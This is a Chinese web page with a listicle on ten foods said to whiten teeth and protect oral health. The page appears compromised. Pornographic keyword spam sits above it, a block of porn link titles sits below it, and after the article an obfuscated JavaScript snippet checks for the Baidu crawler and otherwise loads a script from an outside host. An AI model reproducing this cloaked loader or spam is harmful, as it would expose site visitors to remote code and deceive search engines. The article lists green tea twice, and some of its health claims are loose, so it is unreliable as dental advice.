久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 飲食 > 健康飲食 > 正文

口腔健康受日常飲食很大干擾 能美白牙齒的10種食物

2019-11-18 12:13:25  來源:360常識網   熱度:
導語:保護好我們的口腔健康,也是保護好我們的自然笑容力量,想要好好的維護大家的口腔衛生,在日常大家就需要養成健康的生活習慣,做好清潔工作

保護好我們的口腔健康,也是保護好我們的自然笑容力量,想要好好的維護大家的口腔衛生,在日常大家就需要養成健康的生活習慣,做好清潔工作,這對牙齒的美白是很有用處的。牙齒對于每個人來說都是非常重要的,如果牙齒不好的話,對我們的日常飲食是會有很大干擾的,這樣我們就不能夠品嘗到更多的美食。那么,在日常生活中,吃哪些食物可以美白牙齒呢?下面跟隨360常識網了解一下吧!

口腔健康受日常飲食很大干擾 能美白牙齒的10種食物

美白牙齒的食物

1、綠茶

綠茶含有大量的氟和牙齒中的磷灰石結合,具有抗酸防蛀牙的效果;兒茶素能夠減少造成蛀牙的變形鏈球菌,同時可除去難聞口氣。

2、薄荷

薄荷葉里含有單帖烯類化合物,可經由血液循環到達肺部,在呼吸時感覺氣味清新。

3、水

適量喝水能讓牙齦保持濕潤,刺激分泌唾液。吃完東西后喝水,順道帶走殘留口中的食物殘渣,不讓細菌得到養分,借機作怪而損害牙齒。

口腔健康受日常飲食很大干擾 能美白牙齒的10種食物

4、芥末

內含isothiocyanates成分可以抑制造成蛀牙的變形鏈球菌繁殖。

5、香菇(香菇食品)

香菇里所含的香菇多醣體可以抑制口中的細菌制造牙菌斑。

6、乳酪

鈣及磷酸鹽可以平衡口中的酸堿值,避免口腔處于有利細菌活動的酸性環境,造成蛀牙;經常食用能增加齒面鈣(鈣食品)質,有助于強化及重建琺瑯質,使牙齒更為堅固。

口腔健康受日常飲食很大干擾 能美白牙齒的10種食物

7、芭樂/香蕉

熱帶水果(水果食品)含高維C可維護牙齦健康。如嚴重缺乏則牙齦會變得脆弱,容易罹患疾病,出現牙齦腫脹、流血、牙齒松動或脫落等癥狀。

8、芹菜

纖維粗就像掃把,掃掉牙齒上的部分食物殘渣,另外愈是費勁咀嚼就愈能刺激分泌唾液,平衡口腔內的酸堿值,達到自然的抗菌效果。

口腔健康受日常飲食很大干擾 能美白牙齒的10種食物

9、綠茶

綠茶含有大量的氟和牙齒中的磷灰石結合,具有抗酸防蛀牙的效果;兒茶素能夠減少造成蛀牙的變形鏈球菌,同時可除去難聞口氣。

10、洋蔥

洋蔥里的硫化合物是強有力的抗菌成分,能殺死包括造成我們蛀牙的變形鏈球菌。

口腔健康受日常飲食很大干擾 能美白牙齒的10種食物

想要長效的保持牙齒的美白,健康,在平時大家就需要多注意觀察自己的飲食健康,做好預防就能保持牙齒的美白,文中和大家介紹的這些食物都是具有美白的功效,這些多吃對大家的健康是很有好處的哦。希望大家以后一定要多加注意自己的牙齒問題,如果牙齒不好的話一定要去看牙醫,這樣才能保護好自己牙齒。只要大家養成健康預防的習慣,都是很有美白的功效哦。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 成人网电影 | 久久精品久久精品国产大片 | aa级毛片毛片免费观看久 | 两性午夜视频 | 91超碰caoporm国产香蕉 | 欧美日本韩国一区二区 | 国产精品视频二区不卡 | 黄色工厂在线观看 | 一区二区不卡在线观看 | 色婷婷综合久久久 | 久久久久久一区 | 久久草视频 | 国产传媒毛片精品视频第一次 | 91一区 | 国产视频一区二区在线观看 | 亚洲一级毛片 | 国产自在线| 精品影院 | 在线观看免费av网 | www中文字幕 | 一区二区免费看 | 亚洲精品视频一区二区三区 | 午夜免费av | 久久视频在线 | 妞干网免费视频 | 国产成人一区二区三区影院在线 | 日韩视频在线观看中文字幕 | 97久久香蕉国产线看观看 | 欧美日韩一区在线 | www.国产| 成人黄色在线视频 | 国产一区二区视频免费 | 成人免费在线视频 | 国产乱码一区二区三区 | 1000部羞羞视频在线看视频 | 久久久久久久久久久久免费 | 噜噜噜在线视频 | 一区二区欧美在线 | 爱爱视频在线免费观看 | 日韩欧美视频 | 国产欧美精品 |